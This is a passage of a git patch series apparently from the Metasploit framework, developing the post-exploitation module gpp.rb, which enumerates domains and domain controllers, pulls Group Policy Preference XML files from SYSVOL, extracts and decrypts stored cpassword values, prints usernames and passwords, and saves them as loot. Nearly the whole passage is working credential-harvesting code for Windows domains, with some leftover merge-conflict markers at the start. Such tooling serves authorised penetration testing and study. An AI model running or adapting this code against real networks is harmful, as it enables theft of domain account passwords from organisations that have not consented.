raw version of unattend.xml + # + def save_raw(data) + store_loot('windows.gpp.raw', 'text/xml', session, data) + end + def report_creds(user, pass) if session.db_record source_id = session.db_record.id @@ -567,11 +269,7 @@ class Metasploit3 < Msf::Post return pass end -<<<<<<< HEAD - #enum_domains.rb -======= ->>>>>>> upstream/master def enum_domains print_status "Enumerating Domains on the Network..." domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM @@ -608,21 +306,13 @@ class Metasploit3 < Msf::Post x[:platform] = mem[(base + 0),4].unpack("V*")[0] nameptr = mem[(base + 4),4].unpack("V*")[0] x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join -<<<<<<< HEAD - domains << x -======= domains << x[:domain] ->>>>>>> upstream/master base = base + 8 end return domains end -<<<<<<< HEAD - #enum_domains.rb -======= ->>>>>>> upstream/master def enum_dcs(domain) print_status("Enumerating DCs for #{domain}") domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL) @@ -633,11 +323,7 @@ class Metasploit3 < Msf::Post result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil) end if result['totalentries'] == 0 -<<<<<<< HEAD - print_error "No Domain Controllers found for #{domain}" -======= print_error("No Domain Controllers found for #{domain}") ->>>>>>> upstream/master return nil end @@ -647,11 +333,7 @@ class Metasploit3 < Msf::Post base = 0 mem = client.railgun.memread(startmem, 8*count) hostnames = [] -<<<<<<< HEAD - count.times do |i| -======= count.times{|i| ->>>>>>> upstream/master t = {} t[:platform] = mem[(base + 0),4].unpack("V*")[0] nameptr = mem[(base + 4),4].unpack("V*")[0] @@ -659,49 +341,6 @@ class Metasploit3 < Msf::Post base = base + 8 print_good "DC Found: #{t[:dc_hostname]}" hostnames << t[:dc_hostname] -<<<<<<< HEAD - end - - return hostnames - end - - #enum_domain.rb - def reg_getvaldata(key,valname) - value = nil - begin - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) - v = open_key.query_value(valname) - value = v.data - open_key.close - rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} - #{e.message} when reading the registry." - end - - return value - end - - #enum_domain.rb - def get_domain_controller() - domain = nil - begin - subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" - v_name = "DCName" - domain = reg_getvaldata(subkey, v_name) - rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} - #{e.message} when reading the registry." - end - - if domain.nil? - print_error "No domain controller retrieved - is this machine part of a domain?" - return nil - else - return domain.sub!(/\\\\/,'') - end - end -end - -======= } return hostnames end @@ -721,4 +360,3 @@ end end end ->>>>>>> upstream/master From b549c9b76792c164892f77bac7fdba3f0e619c98 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 2 Jul 2012 09:35:47 +0100 Subject: [PATCH 29/44] Added a number of registry locations to enumerate the domain as this was inconsistant across testing environments --- .../post/windows/gather/credentials/gpp.rb | 32 ++++++++++++------- 1 file changed, 21 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index ec79b136e3..07a5574686 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -85,7 +85,6 @@ class Metasploit3 < Msf::Post domains.compact! domains.uniq! - domains.each do |domain| dcs = enum_dcs(domain) next if dcs.blank? @@ -346,17 +345,28 @@ class Metasploit3 < Msf::Post end def get_domain_reg - begin - subkey = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\" - v_name = "Domain" - domain = registry_getvaldata(subkey, v_name) - print_status "Retrieved domain #{domain} from registry " - rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} - #{e.message} when reading the registry." + locations = [] + locations << ["HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\", "Domain"] + locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "DefaultDomainName"] + locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache", "DefaultDomainName"] + locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\", "MachineDomain"] + + domains = [] + + locations.each do |location| + begin + subkey = location[0] + v_name = location[1] + domain = registry_getvaldata(subkey, v_name) + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Received error code #{e.code} - #{e.message}" + end + domains << domain.split('.')[0].upcase unless domain.blank? end - domain = domain.split('.')[0].upcase - - return domain + + domains.uniq! + print_status "Retrieved domains #{domains} from registry" + return domains end end From 5c2c1ccc3942b938cc68b1df1d15c044f1b6eb78 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 2 Jul 2012 10:15:58 +0100 Subject: [PATCH 30/44] Added extra logic and fixes for user supplied domains option --- modules/post/windows/gather/credentials/gpp.rb | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 07a5574686..cef026e165 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -79,8 +79,18 @@ class Metasploit3 < Msf::Post domains.reject!{|n| n == "WORKGROUP" || n.to_s.empty?} end - datastore['DOMAINS'].split('').each{|ud| domains << ud} if datastore['DOMAINS'] - domains << get_domain_reg + # Add user specified domains to list. + if datastore['DOMAINS'] + user_domains = datastore['DOMAINS'].split(' ') + print_status "Looking for the user supplied domains: #{user_domains}" + user_domains.each{|ud| domains << ud} if datastore['DOMAINS'] + end + + # If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again. + if locals.blank? + domains << get_domain_reg + end + domains.flatten! domains.compact! domains.uniq! From 299ed9d1d524c5c055c00c89db378569baecd6b1 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 2 Jul 2012 10:48:04 +0100 Subject: [PATCH 31/44] Local loot storage of retrieved XML files with option to disable storage --- .../post/windows/gather/credentials/gpp.rb | 56 ++++++++++++------- 1 file changed, 35 insertions(+), 21 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index cef026e165..2570818ed1 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -46,8 +46,10 @@ class Metasploit3 < Msf::Post )) register_options([ - OptBool.new('ALL', [ false, 'Enumerate all domains on network.', true]), + OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]), + OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]), OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class) + end def run @@ -67,27 +69,32 @@ class Metasploit3 < Msf::Post basepaths = [] fullpaths = [] - print_status "Checking locally.." + print_status "Checking locally..." locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol")) unless locals.blank? basepaths << locals - print_good "Policy Shares found locally" + print_good "Group Policy Files found locally" end + # If user supplied domains this implicitly cancels the ALL flag. if datastore['ALL'] and datastore['DOMAINS'].blank? + print_status "Enumerating Domains on the Network..." domains = enum_domains domains.reject!{|n| n == "WORKGROUP" || n.to_s.empty?} end # Add user specified domains to list. - if datastore['DOMAINS'] + if !datastore['DOMAINS'].blank? user_domains = datastore['DOMAINS'].split(' ') - print_status "Looking for the user supplied domains: #{user_domains}" - user_domains.each{|ud| domains << ud} if datastore['DOMAINS'] + user_domains = user_domains.map {|x| x.upcase} + print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..." + user_domains.each{|ud| domains << ud} end - # If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again. - if locals.blank? + # If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again. + # If user supplied domains we do not wish to enumerate registry retrieved domains. + if locals.blank? && user_domains.blank? + print_status "Enumerating Domains in the local registry..." domains << get_domain_reg end @@ -159,7 +166,7 @@ class Metasploit3 < Msf::Post def find_path(path, xml_path) - xml_path = "#{path}\\#{xml_path}" + xml_path = "#{path}#{xml_path}" begin return xml_path if client.fs.file.stat(xml_path) rescue Rex::Post::Meterpreter::RequestError => e @@ -196,6 +203,7 @@ class Metasploit3 < Msf::Post def parse_xml(xmlfile) mxml = xmlfile[:xml] print_status "Parsing file: #{xmlfile[:path]} ..." + filetype = xmlfile[:path].split('\\').last() mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? @@ -223,7 +231,8 @@ class Metasploit3 < Msf::Post ] ) - table << ["USERNAME", user ] + table << ["Type", filetype] + table << ["USERNAME", user] table << ["PASSWORD", pass] table << ["DOMAIN CONTROLLER", xmlfile[:dc]] table << ["DOMAIN", xmlfile[:domain] ] @@ -233,17 +242,20 @@ class Metasploit3 < Msf::Post table << ["DISABLED", disabled] unless disabled.blank? print_good table.to_s + + store_data(xmlfile[:xml], filetype, xmlfile[:path]) + report_creds(user,pass) unless disabled and disabled == '1' end end - - # - # Save the raw version of unattend.xml - # - def save_raw(data) - store_loot('windows.gpp.raw', 'text/xml', session, data) - end + def store_data(data, filename, path) + if datastore['STORE'] + stored_path = store_loot('windows.gpp.xml', 'text/plain', session, data, filename, path) + print_status("XML file saved to: #{stored_path}") + end + end + def report_creds(user, pass) if session.db_record source_id = session.db_record.id @@ -280,7 +292,6 @@ class Metasploit3 < Msf::Post def enum_domains - print_status "Enumerating Domains on the Network..." domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM buffersize = 500 result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) @@ -298,7 +309,7 @@ class Metasploit3 < Msf::Post end count = result['totalentries'] - print_status("#{count} domain(s) found.") + print_status("#{count} Domain(s) found.") startmem = result['bufptr'] base = 0 @@ -318,7 +329,9 @@ class Metasploit3 < Msf::Post domains << x[:domain] base = base + 8 end - + + domains.uniq! + print_status "Retrieved Domain(s) #{domains.join(', ')} from network" return domains end @@ -375,7 +388,8 @@ class Metasploit3 < Msf::Post end domains.uniq! - print_status "Retrieved domains #{domains} from registry" + print_status "Retrieved Domain(s) #{domains.join(', ')} from registry" + return domains end From bd2368d6ab88e5cdeb7ae5e8afde064578849d21 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 2 Jul 2012 11:47:44 +0100 Subject: [PATCH 32/44] Added specific details for each policy type to output table, modified REX:Ui:Table to prevent sorting when SortIndex == -1 --- lib/rex/ui/text/table.rb | 5 ++ .../post/windows/gather/credentials/gpp.rb | 70 ++++++++++++------- 2 files changed, 49 insertions(+), 26 deletions(-) diff --git a/lib/rex/ui/text/table.rb b/lib/rex/ui/text/table.rb index 0c548a30ea..56ca8a61a7 100644 --- a/lib/rex/ui/text/table.rb +++ b/lib/rex/ui/text/table.rb @@ -55,6 +55,10 @@ class Table # # The text to affix to the end of the table. # + # Sortindex + # + # The column to sort the table on, -1 disables sorting. + # def initialize(opts = {}) self.header = opts['Header'] self.headeri = opts['HeaderIndent'] || 0 @@ -184,6 +188,7 @@ class Table # avoid actually resolving domain names. # def sort_rows(index=sort_index) + return if index == -1 return unless rows rows.sort! do |a,b| if a[index].nil? diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 2570818ed1..2b7e5b0d50 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -49,11 +49,9 @@ class Metasploit3 < Msf::Post OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]), OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]), OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class) - end def run - group_path = "MACHINE\\Preferences\\Groups\\Groups.xml" group_path_user = "USER\\Preferences\\Groups\\Groups.xml" service_path = "MACHINE\\Preferences\\Services\\Services.xml" @@ -76,7 +74,7 @@ class Metasploit3 < Msf::Post print_good "Group Policy Files found locally" end - # If user supplied domains this implicitly cancels the ALL flag. + # If user supplied domains this implicitly cancels the ALL flag. if datastore['ALL'] and datastore['DOMAINS'].blank? print_status "Enumerating Domains on the Network..." domains = enum_domains @@ -90,14 +88,14 @@ class Metasploit3 < Msf::Post print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..." user_domains.each{|ud| domains << ud} end - + # If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again. # If user supplied domains we do not wish to enumerate registry retrieved domains. if locals.blank? && user_domains.blank? print_status "Enumerating Domains in the local registry..." domains << get_domain_reg - end - + end + domains.flatten! domains.compact! domains.uniq! @@ -164,7 +162,6 @@ class Metasploit3 < Msf::Post return locals end - def find_path(path, xml_path) xml_path = "#{path}#{xml_path}" begin @@ -211,11 +208,25 @@ class Metasploit3 < Msf::Post user = node.attributes['runAs'] if node.attributes['runAs'] user = node.attributes['accountName'] if node.attributes['accountName'] - user = node.attributes['username'] if node.attributes['username'] - user = node.attributes['userName'] if node.attributes['userName'] - user = node.attributes['newName'] unless node.attributes['newName'].blank? + user = node.attributes['username'] if node.attributes['username'] + user = node.attributes['userName'] if node.attributes['userName'] + user = node.attributes['newName'] unless node.attributes['newName'].blank? changed = node.parent.attributes['changed'] + # Printers and Shares + path = node.attributes['path'] + + # Datasources + dsn = node.attributes['dsn'] + driver = node.attributes['driver'] + + # Tasks + app_name = node.attributes['appName'] + + # Services + service = node.attributes['serviceName'] + + # Groups expires = node.attributes['expires'] never_expires = node.attributes['neverExpires'] disabled = node.attributes['acctDisabled'] @@ -223,7 +234,7 @@ class Metasploit3 < Msf::Post table = Rex::Ui::Text::Table.new( 'Header' => 'Group Policy Credential Info', 'Indent' => 1, - 'SortIndex' => 5, + 'SortIndex' => -1, 'Columns' => [ 'Name', @@ -231,7 +242,7 @@ class Metasploit3 < Msf::Post ] ) - table << ["Type", filetype] + table << ["TYPE", filetype] table << ["USERNAME", user] table << ["PASSWORD", pass] table << ["DOMAIN CONTROLLER", xmlfile[:dc]] @@ -240,22 +251,31 @@ class Metasploit3 < Msf::Post table << ["EXPIRES", expires] unless expires.blank? table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank? table << ["DISABLED", disabled] unless disabled.blank? + table << ["PATH", path] unless path.blank? + table << ["DATASOURCE", dsn] unless dsn.blank? + table << ["DRIVER", driver] unless driver.blank? + table << ["TASK", app_name] unless app_name.blank? + table << ["SERVICE", service] unless service.blank? + + node.elements.each('//Attributes//Attribute') do |dsn_attribute| + table << ["ATTRIBUTE", "#{dsn_attribute.attributes['name']} - #{dsn_attribute.attributes['value']}"] + end print_good table.to_s - + store_data(xmlfile[:xml], filetype, xmlfile[:path]) - + report_creds(user,pass) unless disabled and disabled == '1' end end - + def store_data(data, filename, path) if datastore['STORE'] - stored_path = store_loot('windows.gpp.xml', 'text/plain', session, data, filename, path) + stored_path = store_loot('windows.gpp.xml', 'text/plain', session, data, filename, path) print_status("XML file saved to: #{stored_path}") - end + end end - + def report_creds(user, pass) if session.db_record source_id = session.db_record.id @@ -290,7 +310,6 @@ class Metasploit3 < Msf::Post return pass end - def enum_domains domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM buffersize = 500 @@ -329,7 +348,7 @@ class Metasploit3 < Msf::Post domains << x[:domain] base = base + 8 end - + domains.uniq! print_status "Retrieved Domain(s) #{domains.join(', ')} from network" return domains @@ -373,9 +392,9 @@ class Metasploit3 < Msf::Post locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "DefaultDomainName"] locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache", "DefaultDomainName"] locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\", "MachineDomain"] - + domains = [] - + locations.each do |location| begin subkey = location[0] @@ -386,11 +405,10 @@ class Metasploit3 < Msf::Post end domains << domain.split('.')[0].upcase unless domain.blank? end - + domains.uniq! - print_status "Retrieved Domain(s) #{domains.join(', ')} from registry" - + print_status "Retrieved Domain(s) #{domains.join(', ')} from registry" + return domains end - end From 261989dddf6c6a7bb9df839845ef3689f3335e53 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 2 Jul 2012 16:46:02 +0100 Subject: [PATCH 33/44] Fixed get_domain_reg where value returned was '.' --- modules/post/windows/gather/credentials/gpp.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 2b7e5b0d50..9e863417ca 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -388,6 +388,7 @@ class Metasploit3 < Msf::Post def get_domain_reg locations = [] + # Lots of redundancy but hey this is quick! locations << ["HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\", "Domain"] locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "DefaultDomainName"] locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache", "DefaultDomainName"] @@ -403,7 +404,11 @@ class Metasploit3 < Msf::Post rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} - #{e.message}" end - domains << domain.split('.')[0].upcase unless domain.blank? + + unless domain.blank? + domain_parts = domain.split('.') + domains << domain.split('.').first.upcase unless domain_parts.empty? + end end domains.uniq! From 4eec5a52886ac9250bd9bb2def4b09d64f16985a Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 2 Jul 2012 16:51:15 +0100 Subject: [PATCH 34/44] msftidy --- modules/post/windows/gather/credentials/gpp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 9e863417ca..97ef80b6a1 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -404,7 +404,7 @@ class Metasploit3 < Msf::Post rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} - #{e.message}" end - + unless domain.blank? domain_parts = domain.split('.') domains << domain.split('.').first.upcase unless domain_parts.empty? From 5fff195eba92c7aade453492a19f91e5f8cbacde Mon Sep 17 00:00:00 2001 From: Loic Jaquemet Date: Tue, 3 Jul 2012 12:20:00 -0300 Subject: [PATCH 35/44] DomainCache is a list of domainName = dnsDomainName --- modules/post/windows/gather/credentials/gpp.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 97ef80b6a1..85085af0be 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -391,11 +391,10 @@ class Metasploit3 < Msf::Post # Lots of redundancy but hey this is quick! locations << ["HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\", "Domain"] locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "DefaultDomainName"] - locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache", "DefaultDomainName"] locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\", "MachineDomain"] domains = [] - + registry_enumvals("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\").each() { |ud| domains << ud } locations.each do |location| begin subkey = location[0] From 12e24dbd99f8e7252d11d43562bd7343a6e6886c Mon Sep 17 00:00:00 2001 From: Loic Jaquemet Date: Tue, 3 Jul 2012 12:49:34 -0300 Subject: [PATCH 36/44] failback to target's PDC to get policies --- .../post/windows/gather/credentials/gpp.rb | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 85085af0be..4e4a5936df 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Post register_options([ OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]), + OptBool.new('PDC_USE_REGISTRY', [false, 'Use the target\'s PDC from registry.', true]), OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]), OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class) end @@ -117,7 +118,23 @@ class Metasploit3 < Msf::Post end end end - + + if datastore['PDC_USE_REGISTRY'] + begin + subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" + v_name = "DCName" + dc = registry_getvaldata(subkey, v_name)[2..-1] + print_status "Searching for Policy Share on #{dc}..." + tbase = get_basepaths("\\\\#{dc}\\SYSVOL") + unless tbase.blank? + print_good "Found Policy Share on #{dc}" + basepaths << tbase + end + rescue + print_error("This host is not part of a domain.") + end + end + basepaths.flatten! basepaths.compact! print_status "Searching for Group Policy XML Files..." From f74fe3928089261d2fdb082418475bffbeaee4e6 Mon Sep 17 00:00:00 2001 From: Loic Jaquemet Date: Tue, 3 Jul 2012 12:54:02 -0300 Subject: [PATCH 37/44] fix error message to a more helpful one. --- modules/post/windows/gather/credentials/gpp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 4e4a5936df..d58868d589 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Post basepaths << tbase end rescue - print_error("This host is not part of a domain.") + print_status("The target is not part of a domain, no PDC found in registry.") end end From bdd9364fa470a7e08c8230348b7c92b820cfe3ec Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Tue, 3 Jul 2012 21:08:12 +0100 Subject: [PATCH 38/44] Refactored registry DC enumeration to occur by default, fixed nil DomainCaches exception --- .../post/windows/gather/credentials/gpp.rb | 53 ++++++++++++------- 1 file changed, 34 insertions(+), 19 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index d58868d589..021d69df76 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -47,7 +47,6 @@ class Metasploit3 < Msf::Post register_options([ OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]), - OptBool.new('PDC_USE_REGISTRY', [false, 'Use the target\'s PDC from registry.', true]), OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]), OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class) end @@ -64,9 +63,9 @@ class Metasploit3 < Msf::Post task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml" domains = [] - dcs = [] basepaths = [] fullpaths = [] + cached_domain_controller = nil print_status "Checking locally..." locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol")) @@ -93,7 +92,7 @@ class Metasploit3 < Msf::Post # If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again. # If user supplied domains we do not wish to enumerate registry retrieved domains. if locals.blank? && user_domains.blank? - print_status "Enumerating Domains in the local registry..." + print_status "Enumerating domain information from the local registry..." domains << get_domain_reg end @@ -101,8 +100,17 @@ class Metasploit3 < Msf::Post domains.compact! domains.uniq! + # Dont check registry if we find local files. + cached_dc = get_cached_domain_controller if locals.blank? + domains.each do |domain| dcs = enum_dcs(domain) + + # Add registry cached DC for the test case where no DC is enumerated on the network. + if cached_dc.match(domain) + dcs << cached_dc + end + next if dcs.blank? dcs.uniq! tbase = [] @@ -119,21 +127,8 @@ class Metasploit3 < Msf::Post end end - if datastore['PDC_USE_REGISTRY'] - begin - subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" - v_name = "DCName" - dc = registry_getvaldata(subkey, v_name)[2..-1] - print_status "Searching for Policy Share on #{dc}..." - tbase = get_basepaths("\\\\#{dc}\\SYSVOL") - unless tbase.blank? - print_good "Found Policy Share on #{dc}" - basepaths << tbase - end - rescue - print_status("The target is not part of a domain, no PDC found in registry.") - end - end + # For the odd scenario where no domain controllers can be located on the network but a DC is cached in the registry + basepaths.flatten! basepaths.compact! @@ -402,6 +397,20 @@ class Metasploit3 < Msf::Post } return hostnames end + + # We use this for the odd test case where a DC is unable to be enumerated from the network + # but is cached in the registry. + def get_cached_domain_controller + begin + subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\" + v_name = "DCName" + dc = registry_getvaldata(subkey, v_name).gsub(/\\/, '').upcase + print_status "Retrieved DC #{dc} from registry" + return dc + rescue + print_status("No DC found in registry") + end + end def get_domain_reg locations = [] @@ -411,7 +420,13 @@ class Metasploit3 < Msf::Post locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\", "MachineDomain"] domains = [] - registry_enumvals("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\").each() { |ud| domains << ud } + + # Pulls cached domains + domain_cache = registry_enumvals("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\") + if domain_cache + domain_cache.each { |ud| domains << ud } + end + locations.each do |location| begin subkey = location[0] From 9998ca928dcca286b43f62f714d397b23e09a801 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Tue, 3 Jul 2012 21:28:45 +0100 Subject: [PATCH 39/44] msftidy, bugfixes, and protection to prevent DNS style domains going into the DC enumeration (which causes a meterpreter crash) --- .../post/windows/gather/credentials/gpp.rb | 31 ++++++++++++------- 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 021d69df76..277cf69018 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -83,6 +83,10 @@ class Metasploit3 < Msf::Post # Add user specified domains to list. if !datastore['DOMAINS'].blank? + #if datastore['DOMAINS'].match(/./) + # print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'." + # return + #end user_domains = datastore['DOMAINS'].split(' ') user_domains = user_domains.map {|x| x.upcase} print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..." @@ -102,15 +106,15 @@ class Metasploit3 < Msf::Post # Dont check registry if we find local files. cached_dc = get_cached_domain_controller if locals.blank? - + domains.each do |domain| dcs = enum_dcs(domain) - + # Add registry cached DC for the test case where no DC is enumerated on the network. - if cached_dc.match(domain) + if !cached_dc.nil? && (cached_dc.include? domain) dcs << cached_dc end - + next if dcs.blank? dcs.uniq! tbase = [] @@ -126,10 +130,7 @@ class Metasploit3 < Msf::Post end end end - - # For the odd scenario where no domain controllers can be located on the network but a DC is cached in the registry - basepaths.flatten! basepaths.compact! print_status "Searching for Group Policy XML Files..." @@ -367,7 +368,13 @@ class Metasploit3 < Msf::Post end def enum_dcs(domain) - print_status("Enumerating DCs for #{domain}") + # Prevent crash if DNS style domains are searched for. + if domain.include? "." + print_error("Cannot enumerate DNS style domain names: #{domain}") + return nil + end + + print_status("Enumerating DCs for #{domain} on the network...") domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL) buffersize = 500 result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil) @@ -397,7 +404,7 @@ class Metasploit3 < Msf::Post } return hostnames end - + # We use this for the odd test case where a DC is unable to be enumerated from the network # but is cached in the registry. def get_cached_domain_controller @@ -420,13 +427,13 @@ class Metasploit3 < Msf::Post locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\", "MachineDomain"] domains = [] - - # Pulls cached domains + + # Pulls cached domains from registry domain_cache = registry_enumvals("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\") if domain_cache domain_cache.each { |ud| domains << ud } end - + locations.each do |location| begin subkey = location[0] From c30b2de35b617bc989cae27d5258f780920bb8b1 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Tue, 3 Jul 2012 21:34:33 +0100 Subject: [PATCH 40/44] Removed comments in code! --- modules/post/windows/gather/credentials/gpp.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 